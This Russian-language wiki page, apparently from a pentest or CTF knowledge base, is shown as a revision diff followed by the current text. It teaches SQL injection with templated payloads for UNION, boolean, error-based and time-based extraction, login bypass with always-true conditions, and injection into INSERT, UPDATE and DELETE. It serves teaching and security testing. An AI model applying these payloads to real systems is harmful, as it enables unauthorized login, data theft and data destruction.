Sqlinj — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м (→SET) |
||
(не показано 39 промежуточных версий этого же участника) | |||
Строка 2: | Строка 2: | ||
− | + | =Вводная= | |
Кратко: возможность запускать произвольные SQL запросы в базу данных. | Кратко: возможность запускать произвольные SQL запросы в базу данных. | ||
Статья распределена на то, как найти уязвимость и как ее проэксплуатировать. | Статья распределена на то, как найти уязвимость и как ее проэксплуатировать. | ||
− | + | =Как задетектить= | |
− | + | ==SELECT== | |
− | |||
− | === | + | ===UNION-Based=== |
− | ==== | + | ====Определение типа кавычки==== |
+ | 1. Найти точку ввода данных | ||
− | + | 2. Найти параметр, который возвращает какое-либо из значений. | |
+ | 3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение) | ||
− | === | + | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > |
+ | {параметр} aNd 1=1 | ||
+ | {параметр} aNd 1=1 | ||
+ | {параметр}/**/aNd/**/1=1 | ||
+ | {параметр} -- {\n} aNd 1=1 | ||
− | === | + | {параметр}' aNd '1'='1 |
+ | {параметр}' aNd '1'='1 | ||
+ | {параметр}'/**/aNd/**/'1'='1 | ||
+ | {параметр}' -- {\n} aNd '1'='1 | ||
− | === | + | {параметр}" aNd "1"="1 |
+ | {параметр}" aNd "1"="1 | ||
+ | {параметр}"/**/aNd/**/"1"="1 | ||
+ | {параметр}" -- {\n} aNd "1"="1 | ||
+ | </syntaxhighlight> | ||
+ | (Если сработал первый пример, то {кавычка}==={пустое место} :) | ||
− | |||
− | == | + | ====Знак комментария и количество скобок==== |
+ | После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3): | ||
− | === | + | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > |
+ | {параметр}{кавычка} -- 1 | ||
+ | {параметр}{кавычка}) -- 1 | ||
+ | {параметр}{кавычка})) -- 1 | ||
+ | {параметр}{кавычка})...) -- 1 | ||
− | + | {параметр}{кавычка} # 1 | |
+ | {параметр}{кавычка}) # 1 | ||
+ | {параметр}{кавычка})) # 1 | ||
+ | {параметр}{кавычка})...) # 1 | ||
+ | </syntaxhighlight> | ||
− | === | + | ====Подбор количества колонок==== |
− | |||
− | === | + | =====GROUP BY===== |
+ | Есть у MySQL,(добавить). | ||
− | === | + | Возвращает данные, если колво колонок меньше или равно N (бинарным поиском). |
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий} | ||
+ | </syntaxhighlight> | ||
− | ==Ссылки | + | =====ORDER BY===== |
+ | Есть у MySQL,(добавить). | ||
+ | |||
+ | Аналогично GROUP BY. | ||
+ | |||
+ | =====Bruteforce===== | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий} | ||
+ | {параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий} | ||
+ | {параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | FROM dual | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ====Итоговый запрос==== | ||
+ | |||
+ | Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле. | ||
+ | |||
+ | Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет. | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ====Обратить внимание==== | ||
+ | |||
+ | В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД). | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | LIMIT 1 | ||
+ | LIMIT 0,1 | ||
+ | WHERE ROWNUM=1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать. | ||
+ | |||
+ | |||
+ | ---- | ||
+ | |||
+ | ===Boolean-Based=== | ||
+ | |||
+ | Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос. | ||
+ | |||
+ | ====Вставка в конструкцию WHERE==== | ||
+ | |||
+ | =====Определение типа кавычки===== | ||
+ | Смотри соответствующую графу в UNION-Based. | ||
+ | |||
+ | |||
+ | =====Подтверждение===== | ||
+ | |||
+ | На всякий случай подтвердим, как будет выглядеть итоговый запрос | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | А далее остается добавить ваше условие: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса. | ||
+ | |||
+ | Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице). | ||
+ | |||
+ | ====Вставка в конструкцию ORDER BY==== | ||
+ | |||
+ | Суть в том, что после ORDER BY мы не можем использовать техники, предоставленные ранее (тк параметры, идущие далее обозначают по какой колонке будет идти сортировка), поэтому придется извращаться следующим образом (пример для mysql): | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка},(select case when (1=1) then 1 else 1*( {запрос} )end)=1{комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | В зависимости от результата запроса нам либо вернутся данные, либо не вернутся из-за ошибки в запросе. | ||
+ | |||
+ | P.S. В запросе можно попытаться также раскрутить time-based sql injection. | ||
+ | |||
+ | ====Особенности==== | ||
+ | |||
+ | Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд. | ||
+ | |||
+ | Если целое число, то то же самое, но без функций. | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ===Error-Based=== | ||
+ | |||
+ | Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. | ||
+ | Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION). | ||
+ | |||
+ | ====В случае с Blind-UNION==== | ||
+ | |||
+ | Это когда смог подобрать количество колонок, но не видишь свои поля на экране. | ||
+ | |||
+ | '''Но!''' Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION. | ||
+ | |||
+ | Запрос с UNION выглядит следующим образом: | ||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса). | ||
+ | |||
+ | |||
+ | ====В случае с Boolean-Based==== | ||
+ | |||
+ | Общий запрос Boolean-Based выглядит, как: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса. | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ===Time-Based=== | ||
+ | |||
+ | ====Поиск параметров==== | ||
+ | |||
+ | В случае с Time-Based требуется угадывать два параметра за раз: | ||
+ | |||
+ | 1. Подбор типа кавычки (см. Union-Based) | ||
+ | 2. Подбор функции задержки времени | ||
+ | |||
+ | Если первый пункт вы можете посмотреть на Union-Based, то со вторым уже требуется составить новый список: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | SLEEP(time) | ||
+ | BENCHMARK(количество_повторений_запроса, запрос) //надо ставить большое количество повторений | ||
+ | waitfor delay '00:00:10' | ||
+ | dbms_lock.sleep(5) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Запрос во время подбора будет выглядеть как: | ||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка} AND {задержка_времени} AND {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | После чего на место {задержка_времени} будет подставлен сложный запрос, где в зависимости от результата будет запускаться функция задержки времени. | ||
+ | |||
+ | Подробнее на определенных страницах СУБД (ниже ссылки). | ||
+ | |||
+ | ====Особенности эксплуатации==== | ||
+ | |||
+ | В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы). | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ===Auth=== | ||
+ | |||
+ | Отдельно вынес раскрутку SELECT sql injection при авторизации тк тут добавляется новый вектор для атаки. | ||
+ | Эксплуатация где то будет пересекаться с Union/Blind-Based SQL injection, так что заранее ознакомьтесь с соответствующими пунктами. | ||
+ | |||
+ | Задача раскрутки заключается в авторизации под произвольным пользователем. | ||
+ | |||
+ | ====Уязвимо поле login==== | ||
+ | |||
+ | Для поля Login запрос будет выглядеть следующим образом: | ||
+ | |||
+ | =====Если отправляются сразу два поля Login и Password===== | ||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {логин}{кавычка}{скобки}{комментарий} | ||
+ | </syntaxhighlight> | ||
+ | Тогда наш запрос не будет содержать второго условия и успешно вернет строку с нужным логином. | ||
+ | |||
+ | =====Если отправляется только поле Login===== | ||
+ | См. раскрутку Union-Based. | ||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {случайная_строка}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую}{комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | После чего потребуетсят определить, как хранятся пароли в базе данных и под какими номерами идут колонки Login и Password, после чего вставить требуемый логин и пароль в соответствующие колонки {колонки_через_запятую}. | ||
+ | |||
+ | (Сложно! Сложно! Ничего не понятно!) | ||
+ | |||
+ | ====Уязвимо поле password==== | ||
+ | |||
+ | |||
+ | Для поля Password запрос будет выглядеть следующим образом: | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {случайная_строка}{кавычка} OR {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Тогда у нас будет условие, которое всегда выполнится и вернет строку из базы данных. | ||
+ | |||
+ | P.S. У поля password должно отсутствовать хеширование, иначе ввод данных пропадет. | ||
+ | |||
+ | ====Добавление Backslash в первое поле==== | ||
+ | |||
+ | Чаще всего отсутствие экранирования встречается в тасках на Auth sql injection. | ||
+ | |||
+ | Для этого нужны пять условий: | ||
+ | |||
+ | 1. Отсутствие экранирования backslash в первом условии SQL запроса ( "\" -> "\\" ) | ||
+ | 2. Возможность редактирования ввода второго запроса. | ||
+ | 3. Одинаковые типы кавычек у первого и второго условий. | ||
+ | 4. Отсутствие кодирования/хеширования у второго параметра. | ||
+ | 5. Отправляется один SELECT запрос с двумя условиями login='...' AND password='...' | ||
+ | |||
+ | Большинство из этого придется угадывать. | ||
+ | |||
+ | Запрос для первого параметра (обычно это Login) примет вид: | ||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > {случайная_строка}\ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Запрос для второго параметра (обычно это Password) примет вид: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > {скобочки} OR 1=1 {функция_лимита_по_номеру_строки_в_таблице}{комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | {функция_лимита_по_номеру_строки_в_таблице} - список функций есть в пункте '''UNION-Based''' (Обратить внимание). | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ==INSERT== | ||
+ | |||
+ | Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса. | ||
+ | |||
+ | Опять же много угадываний, запрос будет выглядеть как: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{колонки_через_запятую}){комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | А если вдруг у нас колонки после уязвимой не совпали по типам (в колонку с int не вписать строку), то запрос может выглядеть, как: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{колонки_через_запятую}),({колонки_через_запятую}){комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | В данном случае мы делаем вставку сразу двух строк в таблицу, что позволяет нам манипулировать всеми полями. | ||
+ | |||
+ | После чего за место одной из подставляемых колонок можно будет сделать SELECT запрос (в том числе time-based). | ||
+ | |||
+ | ===Особенности=== | ||
+ | |||
+ | Все зависит от вектора атаки. | ||
+ | В одних случаях надо добавить специального админа в таблицу, в других просто прочитать данные из базы. | ||
+ | Универсального варианта эксплуатации нет. | ||
+ | |||
+ | ==DELETE== | ||
+ | |||
+ | Опасный запрос, в случае чего может удалить лишние строки из таблицы. | ||
+ | |||
+ | Поэтому самым лучшим вариантом будет запрос time-based: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {случайная_строка}{кавычка}{скобочки} and ({time-запрос}){комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Но также возможен еще один вариант (нужно быть увереным в его надежности). | ||
+ | Задача в том, чтобы создавать поле в таблице и по его наличию после каждого из запросов определять, завершился ли корректно запрос. | ||
+ | То есть перевести на Boolean-Based SQL injection. | ||
+ | |||
+ | Запрос будет выглядеть, как: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {фильтр_по_нашему_добавленному_значению}{кавычка} and 1=({bool-запрос}) and {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==UPDATE== | ||
+ | |||
+ | Тоже опасный запрос тк может затереть важные данные. | ||
+ | |||
+ | |||
+ | ===WHERE=== | ||
+ | |||
+ | В случае, если уязвимо поле по которому фильтруются данные, то будут возможны два варианта эксплуатации. | ||
+ | |||
+ | Первый самый надежный - time-based: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {случайная_строка}{кавычка} AND ({time-запрос}) AND {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Второй по-аналогии с delete - boolean-based. | ||
+ | Суть в том, что мы будем обновлять данные, доступные нам для чтения. | ||
+ | А риск заключается в вероятности перезаписать чужие данные. | ||
+ | |||
+ | Наш запрос: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {фильтр_нашей_строки}{кавычка} AND 1=({bool-запрос}) AND {кавычка}1{кавычка}={кавычка}1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ===SET=== | ||
+ | |||
+ | Начнем с того, что мы можем завершить корректно запрос c '''WHERE''' и перейти к предыдущему пункту: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {случайная_строка}{кавычка} WHERE 1={ввод_предыдущего_пункта} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Или мы можем обновить определенные данные в таблице, а потом посмотреть возвращенную строку: | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка},{название_колонки}=({запрос}) WHERE {условие_нашей_фильтрации}{комментарий} | ||
+ | </syntaxhighlight> | ||
+ | '''Важно!''' Ошибки на условии поиска приведут к потере данных, лучше перепроверить все на time-based, прежде, чем раскручивать. | ||
+ | |||
+ | |||
+ | P.S. В некоторых СУБД нет автоматического приведения типов, поэтому придется угадывать тип колонок в таблице. | ||
+ | |||
+ | ==EXEC== | ||
+ | |||
+ | =Как проэксплуатировать= | ||
+ | |||
+ | ==Общее== | ||
+ | |||
+ | ==MySQL== | ||
+ | |||
+ | [[:mysql|MySQL СУБД]] | ||
+ | |||
+ | ==OracleDB== | ||
+ | |||
+ | [[:OracleDB|Oracle СУБД]] | ||
+ | |||
+ | ==PostgreSQL== | ||
+ | |||
+ | [[:postgresql|PostgreSQL СУБД]] | ||
+ | |||
+ | ==SQLite== | ||
+ | |||
+ | [[:sqlite|SQLite СУБД]] | ||
+ | |||
+ | ==IBM DB2== | ||
+ | |||
+ | [[:ibm_db2|IBM DB2 СУБД]] | ||
+ | |||
+ | =Ссылки= | ||
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt | Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt | ||
Текущая версия на 23:50, 31 декабря 2018
Содержание
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
{параметр} aNd 1=1
{параметр} aNd 1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1
{параметр}' aNd '1'='1
{параметр}' aNd '1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1
{параметр}" aNd "1"="1
{параметр}" aNd "1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
Знак комментария и количество скобок
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1
{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY
Есть у MySQL,(добавить).
Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).
{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}
ORDER BY
Есть у MySQL,(добавить).
Аналогично GROUP BY.
Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:
FROM dual
Итоговый запрос
Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.
Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).
LIMIT 1
LIMIT 0,1
WHERE ROWNUM=1
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.
Boolean-Based
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
Вставка в конструкцию WHERE
Определение типа кавычки
Смотри соответствующую графу в UNION-Based.
Подтверждение
На всякий случай подтвердим, как будет выглядеть итоговый запрос
{параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1
А далее остается добавить ваше условие:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).
Вставка в конструкцию ORDER BY
Суть в том, что после ORDER BY мы не можем использовать техники, предоставленные ранее (тк параметры, идущие далее обозначают по какой колонке будет идти сортировка), поэтому придется извращаться следующим образом (пример для mysql):
{параметр}{кавычка},(select case when (1=1) then 1 else 1*( {запрос} )end)=1{комментарий}
В зависимости от результата запроса нам либо вернутся данные, либо не вернутся из-за ошибки в запросе.
P.S. В запросе можно попытаться также раскрутить time-based sql injection.
Особенности
Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.
Если целое число, то то же самое, но без функций.
Error-Based
Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).
В случае с Blind-UNION
Это когда смог подобрать количество колонок, но не видишь свои поля на экране.
Но! Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION.
Запрос с UNION выглядит следующим образом:
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса).
В случае с Boolean-Based
Общий запрос Boolean-Based выглядит, как:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса.
Time-Based
Поиск параметров
В случае с Time-Based требуется угадывать два параметра за раз:
1. Подбор типа кавычки (см. Union-Based) 2. Подбор функции задержки времени
Если первый пункт вы можете посмотреть на Union-Based, то со вторым уже требуется составить новый список:
SLEEP(time)
BENCHMARK(количество_повторений_запроса, запрос) //надо ставить большое количество повторений
waitfor delay '00:00:10'
dbms_lock.sleep(5)
Запрос во время подбора будет выглядеть как:
{параметр}{кавычка} AND {задержка_времени} AND {кавычка}1{кавычка}={кавычка}1
После чего на место {задержка_времени} будет подставлен сложный запрос, где в зависимости от результата будет запускаться функция задержки времени.
Подробнее на определенных страницах СУБД (ниже ссылки).
Особенности эксплуатации
В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы).
Auth
Отдельно вынес раскрутку SELECT sql injection при авторизации тк тут добавляется новый вектор для атаки. Эксплуатация где то будет пересекаться с Union/Blind-Based SQL injection, так что заранее ознакомьтесь с соответствующими пунктами.
Задача раскрутки заключается в авторизации под произвольным пользователем.
Уязвимо поле login
Для поля Login запрос будет выглядеть следующим образом:
Если отправляются сразу два поля Login и Password
{логин}{кавычка}{скобки}{комментарий}
Тогда наш запрос не будет содержать второго условия и успешно вернет строку с нужным логином.
Если отправляется только поле Login
См. раскрутку Union-Based.
{случайная_строка}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую}{комментарий}
После чего потребуетсят определить, как хранятся пароли в базе данных и под какими номерами идут колонки Login и Password, после чего вставить требуемый логин и пароль в соответствующие колонки {колонки_через_запятую}.
(Сложно! Сложно! Ничего не понятно!)
Уязвимо поле password
Для поля Password запрос будет выглядеть следующим образом:
{случайная_строка}{кавычка} OR {кавычка}1{кавычка}={кавычка}1
Тогда у нас будет условие, которое всегда выполнится и вернет строку из базы данных.
P.S. У поля password должно отсутствовать хеширование, иначе ввод данных пропадет.
Добавление Backslash в первое поле
Чаще всего отсутствие экранирования встречается в тасках на Auth sql injection.
Для этого нужны пять условий:
1. Отсутствие экранирования backslash в первом условии SQL запроса ( "\" -> "\\" ) 2. Возможность редактирования ввода второго запроса. 3. Одинаковые типы кавычек у первого и второго условий. 4. Отсутствие кодирования/хеширования у второго параметра. 5. Отправляется один SELECT запрос с двумя условиями login='...' AND password='...'
Большинство из этого придется угадывать.
Запрос для первого параметра (обычно это Login) примет вид:
{случайная_строка}\
Запрос для второго параметра (обычно это Password) примет вид:
{скобочки} OR 1=1 {функция_лимита_по_номеру_строки_в_таблице}{комментарий}
{функция_лимита_по_номеру_строки_в_таблице} - список функций есть в пункте UNION-Based (Обратить внимание).
INSERT
Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса.
Опять же много угадываний, запрос будет выглядеть как:
{параметр}{кавычка}{колонки_через_запятую}){комментарий}
А если вдруг у нас колонки после уязвимой не совпали по типам (в колонку с int не вписать строку), то запрос может выглядеть, как:
{параметр}{кавычка}{колонки_через_запятую}),({колонки_через_запятую}){комментарий}
В данном случае мы делаем вставку сразу двух строк в таблицу, что позволяет нам манипулировать всеми полями.
После чего за место одной из подставляемых колонок можно будет сделать SELECT запрос (в том числе time-based).
Особенности
Все зависит от вектора атаки. В одних случаях надо добавить специального админа в таблицу, в других просто прочитать данные из базы. Универсального варианта эксплуатации нет.
DELETE
Опасный запрос, в случае чего может удалить лишние строки из таблицы.
Поэтому самым лучшим вариантом будет запрос time-based:
{случайная_строка}{кавычка}{скобочки} and ({time-запрос}){комментарий}
Но также возможен еще один вариант (нужно быть увереным в его надежности). Задача в том, чтобы создавать поле в таблице и по его наличию после каждого из запросов определять, завершился ли корректно запрос. То есть перевести на Boolean-Based SQL injection.
Запрос будет выглядеть, как:
{фильтр_по_нашему_добавленному_значению}{кавычка} and 1=({bool-запрос}) and {кавычка}1{кавычка}={кавычка}1
UPDATE
Тоже опасный запрос тк может затереть важные данные.
WHERE
В случае, если уязвимо поле по которому фильтруются данные, то будут возможны два варианта эксплуатации.
Первый самый надежный - time-based:
{случайная_строка}{кавычка} AND ({time-запрос}) AND {кавычка}1{кавычка}={кавычка}1
Второй по-аналогии с delete - boolean-based. Суть в том, что мы будем обновлять данные, доступные нам для чтения. А риск заключается в вероятности перезаписать чужие данные.
Наш запрос:
{фильтр_нашей_строки}{кавычка} AND 1=({bool-запрос}) AND {кавычка}1{кавычка}={кавычка}1
SET
Начнем с того, что мы можем завершить корректно запрос c WHERE и перейти к предыдущему пункту:
{случайная_строка}{кавычка} WHERE 1={ввод_предыдущего_пункта}
Или мы можем обновить определенные данные в таблице, а потом посмотреть возвращенную строку:
{параметр}{кавычка},{название_колонки}=({запрос}) WHERE {условие_нашей_фильтрации}{комментарий}
Важно! Ошибки на условии поиска приведут к потере данных, лучше перепроверить все на time-based, прежде, чем раскручивать.
P.S. В некоторых СУБД нет автоматического приведения типов, поэтому придется угадывать тип колонок в таблице.
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html